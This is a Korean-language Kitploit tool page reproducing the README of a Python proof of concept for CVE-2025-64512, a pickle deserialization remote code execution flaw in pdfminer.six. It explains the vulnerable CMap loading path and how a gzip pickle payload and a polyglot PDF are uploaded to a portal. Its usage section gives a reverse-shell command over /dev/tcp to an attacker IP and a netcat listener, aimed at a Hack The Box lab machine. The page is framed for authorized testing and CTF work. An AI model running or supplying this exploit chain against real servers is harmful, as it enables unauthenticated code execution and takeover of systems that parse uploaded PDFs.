Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-64512_PoC — CVE-2025-64512에 대한 Python PoC로, pdfminer.six의 pickle 역직렬화 RCE 취약점입니다. gzip으로 압축된 pickle 페이로드와 폴리글랏 PDF를 생성한 뒤, 승인된 테스트를 위해 업로드 포털로 전달합니다. | Kitploit
도구/GitHubGitHub/jinook-kim/cve-2025-64512_poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationCTFPenetration TestingLearning & Education
GitHubjinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

CVE-2025-64512에 대한 Python PoC로, pdfminer.six의 pickle 역직렬화 RCE 취약점입니다. gzip으로 압축된 pickle 페이로드와 폴리글랏 PDF를 생성한 뒤, 승인된 테스트를 위해 업로드 포털로 전달합니다.

3520일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2025-64512 — pdfminer.six RCE 익스플로잇

Python 3, 표준 라이브러리만 사용 (pip 설치 없음). 승인된 보안 테스트 및 CTF 용도로만 사용하십시오 — 법률 및 계약의 교전 규칙을 준수할 책임은 사용자에게 있습니다.

CVECVE-2025-64512
영향받는 버전pdfminer.six < 20251107 (20251107에서 수정됨 — CMaps가 JSON으로 변경됨)
다운스트림 피해자markitdown < 0.1.4, pdfplumber < 0.11.8
유형CWE-502 신뢰할 수 없는 데이터의 역직렬화 → 인증 없는 RCE
참조 PoCluigigubello/CVE-2025-64512-Polyglot-PoC (단일 파일 polyglot 변형)

테스트 대상: https://app.hackthebox.com/machines/Bedside


1. 취약점, 쉽게 설명하면

pdfminer.six는 PDF에서 텍스트를 추출하는 데 널리 쓰이는 Python 라이브러리입니다. PDF 폰트는 문자 코드를 유니코드로 변환하는 테이블인 CMaps가 필요하며, pdfminer는 이를 자체 패키지 내부에 gzip으로 압축된 pickle (<name>.pickle.gz) 형태로 포함합니다. CMap이 어떻게 로드되는지 보십시오 (pdfminer/cmapdb.py, 20251107 이전 모든 버전):

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # 유일한 정제(sanitization)
    filename = "%s.pickle.gz" % name               # ← 공격자가 `name`을 제어
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← 절대 경로 name은 디렉터리를 무시!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

세 가지 결함이 겹칩니다:

  1. name은 PDF 자체에서 옵니다. Type0 (CID) 폰트의 /Encoding 항목은 PDF _name_이며, 공격자가 완전히 제어합니다. PDF name은 원시 /를 포함할 수 없으므로 RFC 표준 hex 이스케이프로 작성됩니다: name /#2f#76#61#72#2f…는 /var/…로 디코딩됩니다.
  2. os.path.join의 특이 동작. 두 번째 인자가 절대 경로이면 첫 번째 인자는 완전히 무시됩니다. 따라서 /var/www/site/uploads/shell이라는 name은 pdfminer가 자체 CMap 디렉터리 대신 /var/www/site/uploads/shell.pickle.gz — 디스크상의 임의 경로 — 를 찾게 만듭니다.
  3. 파일 내용에 대한 pickle.loads(). pickle은 "이 함수를 호출하여 나를 재구성하라"는 지시(__reduce__)를 담을 수 있습니다. 공격자 바이트를 역직렬화하는 것 = pdfminer를 호출한 프로세스 내부에서 공격자 코드를 실행하는 것입니다.

익스플로잇 전제 조건 — 이 버그는 방정식의 양쪽 절반을 모두 제공하는 모든 애플리케이션에서 사소하게 익스플로잇 가능합니다:

  • _알려진 절대 경로_에 파일을 배치할 방법 (업로드 포털; 경로는 종종 오류 메시지에 노출됨),
  • 서버가 당신이 제어하는 PDF를 파싱하도록 만들 방법 (업로드 시, 변환 엔드포인트에서, 백그라운드 감시자/cron을 통해, …).

2. 스크립트가 하는 일

  1. gzip으로 압축된 pickle을 만듭니다: {"__reduce__": eval("__import__('os').system('<your command>')")}.
  2. 최소한이지만 구조적으로 유효한 PDF를 만듭니다. 이 PDF의 유일한 내용은 Type0 폰트를 사용하는 페이지이며, 그 /Encoding이 당신의 pickle의 절대 경로를 지정합니다.
  3. 전달합니다:
    • --mode two (기본값) — <name>.pickle.gz를 업로드한 다음 <name>.pdf를 업로드합니다. 대상이 PDF 확장자를 가진 파일만 파싱할 때 사용하십시오 (예: uploads/*.pdf를 glob하는 감시자).
    • --mode polyglot — 하나의 파일 <name>.pickle.gz를 업로드합니다. 이 파일은 유효한 gzip-pickle이자 동시에 유효한 PDF입니다: 전체 PDF가 gzip 헤더의 FCOMMENT 필드에 숨겨져 있습니다 (RFC 1952는 주석을 허용하며, %PDF- 시그니처는 바이트 10에 위치하고, xref 오프셋은 테이블이 유효하게 유지되도록 미리 이동되어 있습니다). 대상이 확장자와 무관하게 업로드된 모든 파일을 PDF로 파싱할 때 사용하십시오 (markitdown 스타일 변환기).
  4. 선택적으로 파일이 도착했는지 확인하고(--verify), 대상의 처리 주기를 기다리며(--wait), 명령이 실행되기 전에 콜백을 보내는 콜백 오라클(--callback)을 앞에 붙일 수 있습니다 — 주 채널이 실패하더라도 실행을 입증할 수 있습니다.

3. 설치

설치할 것이 없습니다 — Python 3.10+ (str | None 문법 사용):

chmod +x cve_2025_64512.py

4. 사용법

4.1 먼저 로컬에서 리허설

샘플 페이로드를 생성하고 (취약한 pdfminer를 import할 수 있다면) 자신의 Python에서 실행하여 대상에 손대기 전에 체인이 작동함을 입증하십시오:

# selftest를 취약한 pdfminer 체크아웃/휠로 지정 (< 20251107 아무 버전)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

예상 출력은 두 파일 트리거와 polyglot 모두에 대해 SELFTEST PASS로 끝납니다. 수동으로도 테스트할 수 있습니다:

python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # /tmp/demo.pickle.gz로 배치
pdf2txt.py /tmp/demo-trigger.pdf                # 취약한 pdfminer만 해당
cat /tmp/pwned                                  # → 당신의 uid

4.2 일반 업로드 포털 (Bedside 스타일)

# 1. 명령의 콜백 채널용 리스너 시작
nc -lvnp 4444

# 2. 익스플로잇 실행 — 업로드 디렉터리를 스스로 발견하게 함
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

전체 인자 참조:

인자목적
--command대상에서 실행할 셸 명령 (필수). sh -c로 실행되므로 파이프/리다이렉트/서브셸이 작동합니다.
--urlmultipart POST를 받는 업로드 엔드포인트.
--upload-url업로드가 --url과 다른 URL로 갈 경우 POST 대상을 재정의.
--fieldmultipart 필드 이름 (포털의 HTML <form>을 읽으십시오; 흔한 것: uploadFile, file).
--path업로드가 도착하는 절대 서버 측 디렉터리 (예: /var/www/site/uploads). PDF가 여기서 pickle을 지정하므로 정확해야 합니다.
--leak-path경로를 모르십니까? 잘못된 내용을 업로드하고 포털의 오류 메시지에서 긁어내십시오 (많은 포털이 대상을 출력합니다).
--name생성 파일의 기본 이름 (기본값 shell). 재실행 시 오래된 파일을 피하려면 무작위화하십시오.
--modetwo (기본값) 또는 polyglot — §2 참조.
--callback URL명령 전에 URL로 HTTP fetch를 앞에 붙임; python3 -m http.server 8000을 실행하고 요청을 관찰하십시오. 실행 오라클.
--wait N업로드 후 N초 대기 — 대상의 처리 주기에 맞추십시오 (감시자/cron은 종종 30초마다 폴링; 실패로 단정하기 전에 전체 주기를 기다리십시오).
--verify /uploads이후 각 업로드 파일을 GET하여 PDF가 기대하는 위치에 도착했는지 확인.
--timeout, --out-dir, --no-upload, --selftestHTTP 타임아웃, 로컬 출력 디렉터리, 생성 전용 모드, 로컬 리허설.

4.3 실제 예제 — HTB Bedside

echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # 리스너
도구 다운로드